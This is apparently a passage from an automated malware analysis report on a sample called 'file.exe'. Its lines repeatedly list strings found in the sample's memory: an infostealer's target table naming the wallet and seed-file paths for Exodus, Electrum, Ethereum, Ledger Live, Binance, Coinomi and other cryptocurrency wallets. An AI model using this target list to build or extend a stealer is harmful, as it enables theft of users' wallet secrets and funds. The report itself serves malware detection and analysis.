Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2601119957.0000000001723000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113Users\user\AppData\Roaming\Binance\simple-storage.jsonj
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2599848202.0000000000BEC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 